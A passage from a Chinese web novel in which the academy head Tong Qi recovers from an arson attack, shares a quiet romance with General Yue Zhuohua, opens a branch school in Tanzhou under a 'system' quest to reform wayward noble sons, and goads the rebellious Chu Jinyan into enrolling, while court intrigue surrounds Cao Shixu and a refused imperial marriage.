大火撩烧了童启的衣服与发尾,好不容易保养好的一头长发只能被迫剪掉,从背后看过去,反倒有了几分现代的样子,看起来,就像是童启在穿着汉服扮演古人一般。 听闻岳将军率军前来,他惊讶不已,愕然站起身。 “岳将军?你怎么来了?” 不是受命去抵抗倭寇吗? 怎么…… 还没问出口,只见对方急切的上前两步,一把擒住了他的肩膀,怒问道。 “发生了什么?这谁做得?” 柳眉倒竖间,凶悍的表情令周围所有人忍不住一虚,忙后退几步。 “那个……”童启吃力的看着自己被按住的肩膀,想安抚两句。 不料岳灼华直接转过头,用责问的语气看向吴韧,道,“你便是这样保护童山长的嘛?你不是他的学生嘛?师长受伤,你竟无动于衷?” 格外冲的语气,令童启一慌,连忙帮着说话道,“与他无关,是有人故意纵火……” 然而吴韧却一脸愧疚,显然是非常认同的样子道歉道,“是我的错,竟没有注意到治下的情况,这才让贼人钻了空子。” “当然是你的问题!背后之人是谁,可有审讯了?” “我已经连夜审讯了,确定他们都不知道那给钱的到底是谁,但根据线索,八成是个外邦人。” “外邦人……难道跟上一次环县的那一拨是同一个?” 岳灼华疑惑思索道。 见两个人满脸担忧,像是将他当成了什么珍惜动物保护一般,完全没有他说话的地方,童启尴尬的摸了摸脑袋,嘟囔了一句。 “我也没有那么危险吧?” 两人控诉的眼神齐齐看向了他。 童启:…… 先不说吴韧是陪着他一路走过来的,眼见着山长从被人欺负到被人针对,再被人追杀。 有多惊心动魄。 只说岳灼华,自从认识童启开始,便几乎没怎么见过对方正常的模样。 每一次都是狼狈不已。 因此,这句话还真没什么说服力。 “我平时真的没有这么惨,只是今天,格外惨罢了……” 童启越说越没有底气,玩笑般的话反而令岳灼华忍不住笑了出来。 她无奈道,“山长,您也是我见过的最奇怪的文人了,明明我才是武将,但每一次遇到您,似乎都是生死关头。” 看来,当文人也是个技术活啊。 能把教书先生当成童启这般的,也是少数中的少数了。 他笑着摇了摇头。 没有辩驳。 既然都如此了,那索性送佛送到西,幸而岳灼华来了,干脆便由其带着一队人马,一路护送童启回潭州。 吴韧这才终于放心下来,本来,他还想要写信给龙胜镖局去护送,既然岳将军在此,那自然还是由岳将军更加安全一些。 两个人收拾完之后,坐着马车一路往潭州而行,因为害怕再次遇刺的原因,童启这次没有骑马,而是坐在马车中,半探出脑袋,与岳灼华闲聊着。 从前因为男女大别而产生的隔阂,好像因为武将的受封而统一消失殆尽。 甚至因为黄龙府两人并肩作战的救命之恩,反倒生出几分心心相惜的熟稔来。 “你被调回,那黄龙府呢,谁来守?” “朝廷里派了徐将军,不过有我舅舅在旁辅助,应该无妨的。” “那就好。” 他松了一口气。 虽然现在契丹再次被制住了,可耶律隆绪狼子野心,不知道什么时候就会卷土重来,所以还是得始终保持警惕。 有柏将军在,多少还有点防备。 岳灼华简单跟童启讲述了一下后续的事,在童启走后,她们一路打到了辽国上京,差点就拿下了对方的都城,但可惜,却被三皇子几道急令迅速召回,不准再打。 她跟随大军回到朝廷内,原本以为会被勒令解职…… “可谁知圣上听说是您亲封的,犹豫了几下,竟选择保留我的官职!我实在是太幸运了,简直就像是遇到了人生贵人!” 岳灼华兴奋的说道,她很难形容这个女将军的职位给多少人带来了悸动,但起码整个大奉朝,她应该是第一个被朝廷承认的女官。 这代表什么? 代表着不少女性有了新的选择方向! 而且这还是她亲自走出来的方向! “要不是童山长当时冒着大不韪,排除众议选择了我,我一定没有今日的日子,感谢您的帮助,为了这,我也一定会义无反顾,好好守护好大奉朝的!” 她握紧了拳头,野心勃勃道。 当时,朝中的老古板因她授官的事情,不知道上了多少折子。 朝中不少朝臣也颇觉荒唐,大家都反对一个女子担任将军的位置,用祭酒的话说就是,“国之大器,在祀与戎,怎么能让一个女人参与其中呢?” 可偏偏,她就是做到了! 哪怕被外放,去杀倭寇,但册封是实打实的,不会改变。 “所以,就算不知道这将军可以当多久,反正过足瘾了,也值了!” 她母亲一辈子也没做到的事情,她直接做到了,这怎么不算是一种荣耀呢? 童启静静的听着,见她性格比以前开朗了很多,也颇为高兴。 这时,岳灼华突然想起什么,问道。 “对了,听说童山长要在潭州府开分院校,若是哪一天我这将军当不成了,不知华夏书院可收我?到时我想拜您为师,做您的学生,不知可行否?” 毕竟,童启护短爱学生是出了名的,若能当上童启的学生,那即便不做将军了,也算有个极好的退路了。 起码……比重新回去嫁人强。 岳灼华期待的看着他,双眼亮晶晶的如同满天星辰一般。 然而童启却本能的回道,“不行。” 空气中陡然静谧下来。 “为什么?” 岳灼华追问道。 童启欲言又止,想说出一个恰当的理由,但是却寻找不到。 对啊,为什么呢? 岳灼华和自己的不少学生年龄也差不多,为什么别人能够收,她却不能呢? 眼见着对方沉默,岳灼华也有些失望的低下了脑袋。 童启沉默许久,最后仍旧是给出了一个答案,哪怕这答案同样超乎他的想象之外。 “也许是,我不想成为你的先生吧。” 他平静的说道。 可这句话却令岳灼华整个胸腔都骤然跳动了起来。 不想做先生? 那……想做什么? 她没有勇气问出声,喉咙里像是被堵住了一团棉花糖,上又上不去,下又下不来。 可随着时间的渐渐融化,那糖丝开始泛出浓浓的甜味儿。 让她恍然以为错觉。 两个人不约而同闭上了嘴巴,可氛围却愈加诡异暧昧起来。 连碰也碰不得,只是视线相交,便匆匆错开。 岳灼华并未再追问,此次南下,能得到一句不想做先生,便已经是她最大的收获。 其他的,皆不重要。 就这样安静的将童启一路送到了潭州府的界碑旁,岳灼华拉住了马匹,不再上前,再前就是别的知府的任下,若被参一顿,又是连串的手续,麻烦的不行。 “那就这样了,我只能送到这里,前面便是长沙县,童山长,一路别过,注意身体。” “好,你也是。” 童启看着对方勒马离开,突然开口再次叫住了她。 “等一下。” 岳灼华疑惑的扭头看来。 童启咽了咽喉结,说道。“虽然我不能收你当学生,但是,炎黄书院还缺少武术老师,如果你想来的话,随时都可以来,这里的大门永远为你打开。当然……我还是更希望你能够生活在战场上,毕竟那里才是属于你的领域,能够最大限度的发挥你的光芒!……若以后有事,可以写信给我,我就在长沙县。” 一连串的话,真诚而坦白,带着一丝丝青涩的试探。 令岳灼华忍不住唇角上扬。 “好!” 她重重的点头,扭身策马离开,飞起的马尾如同划过天际的流星,璀璨夺目。 之后,两个人仿佛被这件事打开了心门,渐渐的变得通信多了起来,偶尔还交流交流彼此的日常生活,就像是久违的笔友一般,默契的不像话。 可那些信件,却被不约而同的珍藏起来,再无人看到过。 曹时序在岳灼华的亲兵保护下,成功到达了京城。 有着童启与齐大人的联合背书,玉米的良种也终于层层叠叠被递上了皇帝的案前。 “这是什么?亩产千斤?笑话,这也相信?” “此乃童山长亲口认证过,说的确是能达到亩产千斤的程度。”徐常侍在旁悄悄补充道。 圣上这才认真的看了起来,见随船还奉上了不少珍贵宝石,连带着还有两只吉祥物神鸟(鸵鸟),这才心情大快起来,连连称赞这曹时序乃是“国之栋梁。” 哪怕得知这曹家便是几年前因四皇子谋反牵连流放的那个,也不怎么追究了,反而如愿赦免了其一家人的罪过,允许其再回京城,恢复官职。 就连童启,也被称为永远心向着大奉朝,乃是忠臣良将如何如何。 可曹时序如愿回到了京城圈,恢复了原职,沉冤得雪,事情就真如他想象的那般了嘛? 并不。 第130章 第130章公主赐婚 先是曹老拒绝回京,宁愿继续呆在华夏书院内教书,也不愿再重新回归朝堂。 用他的话说就是,“我老了,已经不知道何时就要离开这人世,与其回京都,官场沉浮,再折腾一圈,来回惊吓,倒不如就这么安安静静做一个教书先生,孕育下一代栋梁,反而心更安一些,就连饭也能多吃几碗,觉也能多睡几次。” 什么风雨同舟,兼顾天下的志向已经彻底被磨平,成为了安度晚年,教书育人的安稳。 他说,他终于理解了童山长为什么要开一家自己的书院,重新创立教学模式与规则,也不愿那么快的入朝为官了。 只是望着每日这些朝气蓬勃的少年,他的心态便不自觉年轻许多,觉得这世界,似乎又充满了希望一般。 恳求圣上察其情,谅其年迈,允许他留在伊川继续发挥余热,这样,他日,定为圣上教授出更多的人才,以镶天下。 圣上欣然大悦,痛快同意了下来。 而曹家其他的旁支们则在收到消息后,纷纷回京,没有曹老在,便立马投奔了曹时序。 不仅将其推选为了族长,还索性赖在了曹府,蹭吃蹭喝,求着让其给个差事做活。 曹时序每日不堪其扰,短短半个月下来,便如同苍老了好几岁一般。 不仅如此,更有那打着他名头的偏远旁支整日惹是生非,如同死死抱着他的大腿,沉甸甸,拖的他难以寸进。 其实,一开始曹老也劝说过儿子,让他不要再回京城,只要将家族平反后,便可功成身退,见好就收。 之后,是想继续出海,抑或读书教书,皆可。 自然乐的逍遥。 可奈何曹时序对于官场仍旧有一份不甘心在,所以便坚持了要再试一次。 毕竟当初他们曹家那样繁华高大,说落败就落败,如今好不容易从海外千辛万苦寻回良种,难道,就不值得一个重回荣耀之巅? 然而,等他真正留在京城,才发现,此时的官场早已经不是几年前的那个了。 这几年曹家不在,无数家族替代了他们的利益与位置。 而圣上年老日衰,储君之争俨然已经达到了白热化的阶段。 十分恐怖。 什么四皇子,已经无人再记得。 可三皇子,却一跃而上,代替了大皇子,成为了储君的热门人选。 就连胡丞相,也不得不避上一席之地。 其中,自然以三皇子妃的娘家人,王祭酒最为著名。 其次,便是这次黄龙府之战中立下赫赫战功的徐贵妃一家。 偏偏这两家,没一个看得起曹时序的,皆不认为一个靠着出海寻找良种,把自己搞成一个武将体格的流放人士能有什么值得重视的。 因此这一来二去,热脸贴冷屁股,纵使曹时序存了点巴结的心思,也皆消散的差不多,心灰意冷了。 就连一家之主都这般待遇,换做刘氏,那难听的话自然就更多。 尤其她还在海上怀了孕回来。 不同于之前每次聚会时,大家总是艳羡刘氏嫁了个好夫婿,如何如何前程远大之类的说法,这一次,众人听闻她跟着丈夫出海了三年,船上除了曹时序还有着其他十几名身强体健的男子,他们同吃同住,亲如一家,那种意有所感的眼神便没有断过。 好似暗示着刘氏不洁,当着曹时序的面出轨了一般。 嘲弄的声音,窸窸窣窣,不绝于耳,直将刘氏说的不愿再踏出房门一步,抑郁的被困在四方院中,整日以泪洗面,差一点就气的流产了。 这个时候,曹时序才察觉到为什么童启如此大的影响力却不愿入朝,依旧是再去开设分院校的原因了,也就只有他傻,放着好好的海外不走,甘愿被困在京城中。 可再想要离开吧?已经没有那么容易了。 朝堂上因为他此次出海的事情吵个不停 刚开始时还是一溜的欣喜,因为曹时序从海外带回来了良种,可以养活万万百姓,但后来,便有人觉得德不配位,上折子理论 道曹时序这种,算不算恶意逃罪。 而童山长与三皇子藐视皇命,救助收留曹家一系,又是否算是包庇罪犯,纵容谋反呢? 先不说曹家到底是否冤枉,只说今后若人人都如此做,那流放抄家还有何意义? 他们若效仿,也逃向海外,再寻点什么回来,难不成圣上也还能再出尔反尔的赦免原谅不成? 简直荒唐! 此风,决不能开! 更何况,海运之事乃是国之大事,为什么曹时序出海便能够允许,其他百姓却不行,若要开海运,那便要统一去开,利益均分,若是不开,曹时序这便算是违逆了国家的决定,同样是罪上加罪。 事情猛然拐到到底要不要开海运身上,几个文臣皇子均眼馋于曹时序此次出海一趟所带回来的东西,希望能够重开海运。 可是不少南方的世家诸侯们却并不愿意。 因为,海运,他们本身就偷偷搞着呢呀! 不然那么多的财产怎么来的? 虽然大奉朝不允许开海,可每年的那么多东西,陶瓷、绸缎,国内又根本不可能销完,那不往外卖,能如何? 尤其东南亚那一片,对他们的东西趋之若鹜,抢着奉上钱,价都不还的! 哪里还能有这么好的市场啊? 所以,他们藏着掖着,自然不肯曝光。而曹时序此举,无疑是将此事放在了明面上。 逼的他们从口中吐出一块大肉来,与众人均分。 自然抵触不已。 垄断,才是最赚钱的。 大家都做,那还叫什么赚钱的路子? 因此,两方日夜吵个不停,实际上,却仍旧是为了各自的利益。 在争斗。 曹时序就是这样被关在京城中,难以离开,还未有实质性的表扬与赏赐,却紧接着要面临迟来的审判与针对。 还有着各种形形色色,难以言喻的诡异目光。 幸而殿试结束,短暂的引开了大家的注意。 这一次的恩科一甲前三名,名单十分精彩,不再是华夏书院垄断前三的成绩了。 王世昌拿下了状元,成功成为大奉朝历史上第一个六元及第的人! 可国子监祭酒的徒弟文铭川却也不逊色,棋差一着,拿下了榜眼。 陆无双超常发挥,弯道超车成为探花,而剩下的华夏书院学生也不差,接连拿下了进士科的第五名(程勤)、第六名(王禹偁),第八名(莫小川)、第十二(全岸轩)以及第二十三(戚风言),就连谢君仪都成功收尾了二甲的尾巴,避免了同夫人的命运,成功进士及第,扬眉吐气! 再一次,全员上榜! 即便没有包揽前三,可这耀眼的成绩,终究还是让人不得不承认,华夏书院已经成为了所有书院里最会教书的! 起码,不是师资最强,也是学生综合实力最高的那一个了! 一时间,华夏书院内的相关教辅资料被卖到出天价。 尤其是童启担任山长时所出过的卷子、说过的话,教授过的知识,那更是被抢的头破血流,难以错过。 大家均认为,童启童山长在时,华夏书院的成绩是最佳的,可哪怕他不在了,对方所遗留下的优秀内核,仍旧支撑着华夏书院,夺下一次次的魁首之位。 于是,当不少人听闻童启南下开书院的消息时,均不由自主打听起何时招生的事情来? 他们从不害怕远距离去学习,更不害怕所谓长途跋涉的辛苦。 他们唯一怕的,只是考不上进士,或者一生才华虚耗,庸庸碌碌,没有任何所得罢了。 可即便如此,此次恩科,也不是人人都开心。 金銮殿上,皇帝注视着底下眉清目秀的王世昌,语气威严。 “你便是王世昌?” “臣,王世昌,拜见陛下!” 如有实质的目光绕着他上上下下打量了一番,差点就让其毛骨悚然,疑惑是哪里出问题了,良久,圣上才慢悠悠说了句“不错。” 不错? 不错什么? 没等几人心里想出什么,旁边的徐常侍已经按照圣上的意思开始宣读起一道圣旨来。 “奉天承运皇帝诏曰:于兹佳岁,瑞霭弥空;正值良辰,祥光焕彩。朕上承宗庙之灵,下念邦国安泰……我朝四公主,自幼禀性淑娴,资质端庄,而新科状元郎王世昌,学富五车,文采斐然,乃当朝之俊彦,才学之翘楚,品貌非凡,德行兼备。 今观天象,卜曰其吉,宜成嘉礼,特赐婚于两人……” 之后,王世昌再未听进去任何一个字。 大脑中顿时响起嗡鸣之声。 他几近疑惑自己听不明白字意,茫然抬头,只得慌乱叫道,“陛下……” 可对方,却像是根本看不见他的求助一般,自顾自说道。 “王世昌,朕的四公主可一向是掌上明珠,从未向朕求过什么,可今日竟说,想嫁给你,实在是令人惊奇,以后你可一定要好好对她,否则,朕可是会不愿意的!” 笑盈盈的话语,伴随着敲打,所有朝臣顿时以施压般的目光望向了他。 可王世昌却仍旧呆愣愣的,没有任何反应,如同吓傻了一般。 “快谢恩,谢恩呀!” 身后的陆无双,谢君仪等人急的不行,疯狂给他使眼色,让其领旨谢恩。 公主下嫁诶! 这可是无上的荣耀,有什么可犹豫的? 王世昌顶着众人疑惑的目光,缓缓地叩拜在了地上。 “恕臣难以领旨……” 他一字一句答道。 周围所有学子,顿时如同见鬼了一般的望着他。 此刻的潭州府,童启正带着童淳、庆安等人,验收着新盖好的分院校。 这所分院,同样选择建在了山上,可山势却远远比沧澜山更加陡峭幽静,占地面积,也大了将近二分之一。 不仅仅包含了山上的主体建筑部分,还连带了当地县令大人所赠送的一大块山下的土地。 以作为学田与跑马之用。 比起北方流行蹴鞠的习惯,南方则更加喜欢跑马一些。 所以童启尊重其文化爱好,也跟着建了一所。 校区内,建筑物画风高度统一,美的大气磅礴,充满古韵。 廊庭画栋,森云环绕,如同世外桃源般。 同样分为医学部与□□,可是这一次却并没有单独隔阂开来,而是互通有无,共处于一个空间中,使用相同的食堂、藏书阁等公共设施。 绕过白色的大理石牌匾往内走,三进三出的庭院,上写着“为天下立心”,“为百姓立命”,“为往圣继绝学”,“为万世开太平。” 几个句子,令人叹为观止,一见忘俗。 至于藏书阁,则与华夏书院内的书籍并无太大出处,基本复制了一套出来。 并不突出。 只其门口树立的一块石碑,令人惊艳,上特意雕刻了一篇文章,乃是梁启超先生的《少年中国说》原文节选。 只第一句话,便石破天惊,令人震撼在了原地。 “是故今日之责任,不在他人,而全在我少年。” “少年智则国智,少年富则国富,少年强则国强,少年独立则国独立,少年自由则国自由!” 浩然荡气的文字,一点都不亚于之前童启写的那篇《六国论》,甫一出来,便让不少人站在其前看痴了,久久不肯离去。 而当大家看到那“美哉我少年中国,与天不老!壮哉我中国少年,与国无疆!”时,澎然于心中的热血沸腾,更是烧的无数人面色绯红。 有口难言。 只得握拳挥舞几下,又重新充满信念,一扫颓丧之气。 曾经,童启本想将这个文章镌刻在华夏书院的藏书阁石碑上的,可因着建筑风格抽中了十八铜人,根本很少有人能进去,于是只得放弃了。 没想到,这一次倒是分院先用了上来。【你现在阅读的是 】 130-137 第131章 第131章复仇联盟 此碑之浩荡,一扫抑郁之气。 蓬勃的热血仿佛跃然于纸上。 唯独童庆安,久久的站在那碑前,只觉得这寥寥数语,背后像是承载了多么厚重的历史一般。 他无法想象,若真的有一天,大奉朝彻底落败,他们这些少年会是怎样的结局。 是拼死抵抗吗? 还是挣扎着去发出最后的谏言呢? 透过那块石碑,他似乎看到了战火连天,国之存亡时,某个人站出来发出的最后呐喊,如同决战前的彻底誓师一般。 声嘶力竭。 山长树立这样的文字在藏书阁之前,是何意思,是看到了什么征兆吗? 还是借着此言,故意唤醒我们的危机意识,让我们不要颓丧,而是要居安思危,奋起直追呢? 他怔愣的思考着,直到被童庆安狠狠的推了一下,这才清醒过来。 “发什么呆啊?快看看我们的新院校!听说,这一次的食堂有着整整三层!光是宿舍就有两栋楼,不仅比以前的地方大多了,就连医科学院,也和我们互通了!” 两个人这才拉着手,连忙去看其他的建筑。 实际上,新院校与华夏书院的老院校并无太大区别,都是自来水管、电灯通明,处处透露着神奇 与奇迹,可这一次,明显更加完整与浑然一体一些,不论是配套的建筑群,还是充满古色古香的装潢,都如同本来就生长在这个山中一般。 融洽的令人难以置信。 潭州府的知府与长沙县县令在院校建好之前,来查看了一次,见到童启规模开的这么大,颇有些欣喜。 “看来,童山长是希望在此地大干一场了!那么,咱们第一届的分院校招生,要招多少人呢?” 眼看着比华夏书院大了二分之一的大小,教学楼与宿舍楼都多了一栋。 那想必第一次,怎么也得招个几百人吧? 谁料,童启笑了笑,却答道。 “招生的事情不急,咱们虽是分院校,却也不好抢了主院校的风头,所以第一年我打算稳着一些,大概只会招20人左右。” 二十人? 潭州府知府与县令都傻了。 这二十个人顶个什么啊? 那么大的学校都建了,你就只招二十个人? 玩儿我呢? 可是不论怎么劝说,童启却是咬死了牙,丝毫不退让。 这也不是他想要搞的,而是系统要求的如此,他能怎么办? 而且这还只是刚刚开始罢了! 邪门的,还在后面。 且说童启华夏书院分校建设成功的消息,迅速流传至几大家。 李、楚、司、旬四大家家主,皆感到一股不屑与好笑。 他们皆不认为这个北方来的小子,能够干成什么事情。 这里是潭州!富贵之乡! 又不是那等眼皮子浅显的,只要给点钱,就放着大好的族学不去,非要去什么破书院读书。 敢来他们的地盘开书院,那就得做好遇冷的准备。 以规模大、师资强为噱头的那一套伎俩,在这里可没用。 也不问问他们的族学中教书的都是何人,跟他们比这些,简直就是关公面前舞大刀,不自量力嘛! 司家家主司永禄坐在高朋满座的宴席上,与宾客们得意的吹嘘着。 “我们司家,别的不说,族学里的先生那可都是斥了巨资请来的!皆是京城里有名的文人与大儒!绝非一般的土狗野鸡可比!潘家知道吧?前朝龙虎榜中排名第一的状元郎!就连开国圣祖,都与他家里请教过意见!此刻,就在我们族学中,担任先生,负责教授司家所有的小辈!只要给他五年时间,不,两年,他就能化腐朽为神奇,将我司家上下培养出一系列的好苗子!” “那什么华夏书院、炎黄书院的,再厉害,也不过就是教出几个小官罢了,可潘状元郎呢?人家可是差点做了宰辅的人!高度、眼界就完全不一样!尤其咱们这种仕宦之家,怎么也得上点档次,那些寒门学子走的路子,就不必抢了,要走,还是得走一品的阳光大道才是,而那样的路,他们,是教不成的!” 他摆摆手,一副不欲多谈的模样,可眉眼中的猖狂却已经写尽了骄矜之色。 正聊的酣畅时,突然,门外一小厮慌慌忙忙跑了出来,急切的禀告道。 “不好了,招生……华夏书院分院校的招生简章出来了!” 司家家主猛地被打断话语,颇为不耐烦的斥责道。 “慌慌张张做什么,不就是招个生,又不是什么新鲜的事,急什么?” 那小厮长吞一口气,不知道该做如何解释。 恰巧在座有宾客好奇招生简章到底写了什么,追问几句,这才解决了他未说完的话题。 “那童山长在潭州府如此大阵势,所以今年,一共招了多少人?” “二十人。” “什么?” 才二十人? 在场一听这个数字,顿时眼神复杂不已。 司家家主司永禄面露得意,道,“看来,童启这是知难而退,听说了我司家要抵制他们书院的事情,所以故意减少名额,以防止今年招不够人数而过于丢人了。” 众宾客点点头,皆认同这种说法。 可谁料,小厮却直接开口否定了,进而说道。 “并非如此。虽招生的人数只有这些,但童山长这一次,却并不是采取的考核制度,招的也不是什么成绩优异的寒门,而是……而是指名让一些纨绔子弟去进学,说是分院校不要好学生,就要那些无可救药,被各大家族里抛弃的人,若想要给自己一个机会的话,那便来炎黄书院,他不仅能让这些人脱胎换骨,重新做人,还能让他们耀眼于家族,成功脱离家主的控制与要挟!甚至复仇!” 什么? 这一下,直接让在坐的所有人都迷茫了。 这是什么逻辑? 复仇,跟谁复仇,跟生他养他的家庭吗? 简直荒唐! 还不收成绩优秀的,只要不学无术的? 呵呵,童山长这是改路数了? 不争取寒门,而是转而投靠了勋贵阶层不成? 还是说,对自己的能力过于自信,认为只要是块原石,便能雕琢成玉? 口气简直大的很嘛! “不必管他,不过是吸引人眼球的路数罢了。” 当谁傻不成,还脱离家族的控制,真到了他们这一阶层,即便不受宠,纨绔子弟,也比大多数平民要过得好,能不努力,谁愿意走那种辛苦的路子? 童启还是不太了解他们富贵子弟烂泥扶不上墙的程度。 真正被家族所放弃的,那都是完全没有可能再起来的地步,他以为激一激,说两句鼓励热血的话,便会有人入学吗? 想太多了。 “可……他的名单上也有咱们家的二少爷,方才,二少爷听到此事,已经前往报名了!” 小厮为难的说道。 不然,他为什么如此慌里慌张,冒着大不韪进来破坏宴客的氛围啊! 他几次中断,好不容易才说完。 而在场的所有人,已经一脸惊愕,如同吃了一只苍蝇一般,彻底脸色难看起来。 其实,如今被整个州府的百姓议论纷纷的童启,也十分无奈。 相比坏学生,他肯定还是喜欢乖巧听话的好学生的。 但谁让谢君仪珠玉在前,直接开启了一个逆袭改造的主要支线呢? 自从前段时间的科举殿试成功结束,结果他还没收到,系统的分院招生便直接蹦了出来。 只见系统主面板上,明明白白的写着几个字: 【叮,检测到华夏书院分院校已经建成,趁着大好时光,快快开启招生事宜吧! 主线任务:请为分院校招够二十名学生。 支线任务:请组建一支至少二十人的复仇者联盟,向父权制度发起挑战!变废为宝,点石成金!把纨绔落后子弟改造成优秀尖子生。(两任务可合并) 成功:奖励蒸汽机研发图纸 失败:物理抹杀】 久违的物理抹杀开始出现。 童启虽难以理解,可因着那蒸汽机研发图纸,仍旧迅速答应了下来。 毕竟这可是第二次科技革命的研发图纸啊!有了它,整个大奉朝的科技生产力水平都能够一跃而升上一大步! 谁能拒绝? 不就是改造坏学生吗? 这样的事情他做的多了! 有何难? 童启一把撸起袖子,野心勃勃,可因着他这道莫名其妙的招生简章,整个潭州府却突然开始翻涌起来。 楚家,族学祠堂里。 一个看起来十三四岁出头的少年,正翘着二郎腿躺在蒲垫上,听到外面开锁的声音,立马擦干净嘴角的老婆饼碎屑,装作一副认真思错的模样,跪在原地。 身后一个轮椅被慢悠悠抬了进来,楚信义两眼扫过那地上的碎屑,忍不住心中长叹了一口气。 也不知道他楚家二房到底上辈子做了什么孽,此生竟然会有如此愚钝混账、不服管教的孩子。 你说东,他做西。 你骑马,他骑驴。 就像是天生刺头一般,处处犯禁。 为此,他是教 也教了,打也打了,可就像是遇到了一堵墙般,所有对其施加的力都被原路退了回去,完全没有任何用处。 对方死猪不怕开水烫般,就是不爱学习。 而他一个瘸腿的,即便再急,也没有任何办法。 说有说不通。 难道要眼睁睁看着孩子就这么被放弃吗? 这还是他在的时候,便已经如此,若哪日他不在了,那岂不是二房的基业都要被这小子败光? 想起童山长所发布的那张另类的招生简章,他终于还是忍不住长叹了一口气,道。 “罢了,你去华夏书院吧。我是奈何不了你了,但愿童山长,还能救一救你。” 对面的少年骤然一愣,有种难以置信的惊愕。 而同样的对话,不断出现在整个潭州府内。 有的,是学生自己不服气,如谢君仪那样,对家族有着深深的痛恨。 有的,则是家长迫不及待,要把这孩子给送进去。 他们似乎都商量好了一般,忙不迭便将人送了过去,毕竟自己亲生的,真放弃,放弃不了,可想要扶持吧,又实在是扶持不上,如今有了冤大头要替他们去管? 好欸! 自然乐得做一个甩手掌柜,让对方去操心! 这就好比多出了个托儿所一般,怎么可能不让人欣喜呢? 因此,管他司家还是哪一家的警告,到最后,大家都纷纷嚷嚷带着孩子前往了华夏书院分院校就读。 人数倒是远比童启想象的还要齐全。 他艰难的从人群中探出头来,让大家排队去报名。 这一次他的学费定在了二十金。 对于很多家庭来说,那是一生都难以企及的金额,可是对于潭州府的勋贵豪门来说,不过就是一个买零食的钱。 因此,他们交的痛快,童启收的也十分开心。 至于那被迫上学的学生们,只怕心情就没有那么好了。 第132章 第132章开启军训 “什么鬼的炎黄书院,老子才不要去!” “小爷我生平最讨厌的就是读书!那什么童启真是多事,凭什么他说我是纨绔子弟,我就是!什么?整个潭州府都这么说?那我也不去,他谁啊?凭什么他叫我去读书我就得去读书,老头子这分明就是想找个理由把我远远打发出去罢了,我才不上当呢!” “滚滚滚,他才是废物,我本来就是宝石,根本用不着什么雕琢好吗?” …… 童启的招生简章一出,令无数濒临绝望的家庭又重燃了希望。 可潭州府内的厌学情绪,也空前绝后的大。 不同于以往是学子们求着上学,叫童启“山长”的情况,这一次,大部分准入学的学子们,都对童启有着深深的敌意。 他们才不服什么点名学习的制度! 纨绔子弟为什么叫纨绔子弟? 那肯定是有着前史证明的。 若真的爱学习,乖巧听话,那不叫纨绔子弟,那叫乖宝宝。 因此像这种刺头一般,叫嚣着打上来的,那才是常态。 这不,招生第一日,童启便碰上了一个硬茬。 要说潭州府最著名的是四大家族,那新一代年轻人里,最混不吝的,也有四位,其中领首的,便是楚家二房的孩子——楚谨言。 传言其自小被抱错,放养在乡下庄子里,与奴仆们一起长大,连带着被沾染了不少恶习,等楚家发现抱回来的时候,其已经从根子里长歪了,不仅喝酒赌钱逛青楼,无所不行,还屡屡仗着楚家的身份在外为非作歹,急得楚家家主多次当着其他人的面说,“此乃吾家之耻!” 足以见其顽劣。 他得知自己上了什么榜,即将被送来书院读书的事情,怒不可遏,带着一群家丁便冲上了山。 此时正掐着腰,吊儿郎当站在山门口大喊道。 “谁是童启,哪个是童启?给小爷我滚出来!就是你教唆的让我读书?我给你说,我今天就把话撂在这里,我是绝对不会在这里读书的!就是从这里跳下去,死,也绝对不会来这所学院读书,明白吗?” 童庆安和童淳气的上前两步,想控诉他的无礼,却直接被童启拦在了身后。 他对照着手里的录取名单,上下打量了一番,试探着叫出名字。 “你便是楚家二房的嫡孙,楚谨言?” “正是小爷我!”对方得意的说道,挺了挺胸膛。“你是谁?你怎么认得我?” “你找童启,却不知道童启长什么样子吗?” 童启挑挑眉,好笑的背起手来。 对方微愣了两秒,似在反应这句话的意思,良久,才愣道。 “什么意思,难不成……你就是童启?” 他如同见鬼一般张大了嘴,似乎也没想到堂堂一个书院的山长,竟然不是个老头子,而是如自己这般俊美年轻的少年。 可即便如此,他也没有要入学读书的意思,清了清自己的情绪之后,他很快反应过来,强装出一副见多识广的样子,道。 “就算你是童启又如何,那也不能改变小爷我的想法。你这什么书院,我是不会上的!就算我父亲给我报了名,我也不会来!” “对,凭什么你说让我们少爷来我们就来,你谁啊?” “长得娘里娘气的,也能教好书?” 旁边的家丁起哄道。 …… 见楚谨言如此挑衅,周围不少被家里强压着过来的人也纷纷出声反抗。 他们可能在家族里地位弱势,可出了家族,却个个是仕宦出身,自以为对童启来说,是处于凌驾之上的地位。 因此底气硬得很。 可童启却没有一点被质疑的愤怒感觉,反而笑了笑,反问道。 “所以,你们是怂了?” “怂?笑话,小爷我长这么大,根本就不知道怂字怎么写!” “那为什么连努力都不敢努力呢?是对自己毫无信心吗?” 楚谨言猛地一愣,童启步步紧逼道。 “一件事还没开始,就觉得自己做不到,因此怕丢人,怕努力了之后结局仍旧是这个样子,所以索性装作毫无兴趣,以此掩饰自己的懦弱,这便是传说中的楚家二房?呵呵,那我确实是长见识了。或许你们的出身算是数一数二的,可没想到胆子却小的还不如一个刚出生的小娃娃。” “你说什么?” “我说你胆子小,太怂了。连开始的勇气都没有,如果是这样,那你确实不适合我们书院,想走的话,我不会挽留。” 童启淡淡的陈述道,简单的几句话险些将楚谨言气死。 他的软肋十分明显。 你可以骂楚家,也可以骂他,但唯一不能提及的便是楚家二房。 因为没有人比他更清楚父亲这辈子有多难了。放着大好的前途没有走到底,因保护家人而在进京赶考时腿部受伤,与进士科失之交臂,好不容易找回来的亲生儿子,又因为无人教养,而长成了这副熊样,从天子骄子堕下到楚家最不起眼的人,这些年的痛苦,没有任何人有资格评判他。 哪怕,这是大名鼎鼎的童山长。 “道歉,你必须像我们楚家二房道歉!我是纨绔,那是我的问题,并不能代表楚家,更不能代表楚家二房!” 身穿蓝衣的少年据理力争道。 童启挑了挑眉,“为什么不能说,你明明都如此做了,还怕人说吗?若想要我道歉,可以啊,只要你能做出让我改变想法的事,那我就认可你,跟你道歉,可是你,能行吗?” 略带挑衅的话语,令楚谨言急得面红耳赤。 “你以为我不敢?” “好,那你就来我们书院读书啊。一个月,只要你能够挺过一个月不被淘汰,那我就认可你,向你道歉,但如果你连一个月都坚持不了,那很抱歉,我可能并没有说错,你的确不适合我们书院,但楚家二房,也的确是令人失望无疑……” “你别得意,我一定会让你道歉的。” “欧克,那就拭目以待。” 童启笑盈盈的说道,看着楚谨言气 哄哄带着家丁来,又带着家丁走,顺带着自己亲自报了个名,不由的笑了出来。 激将法对付这种小学生,真的是一用一个准。 而因着这一场打赌,几方也逐渐达成了协议。 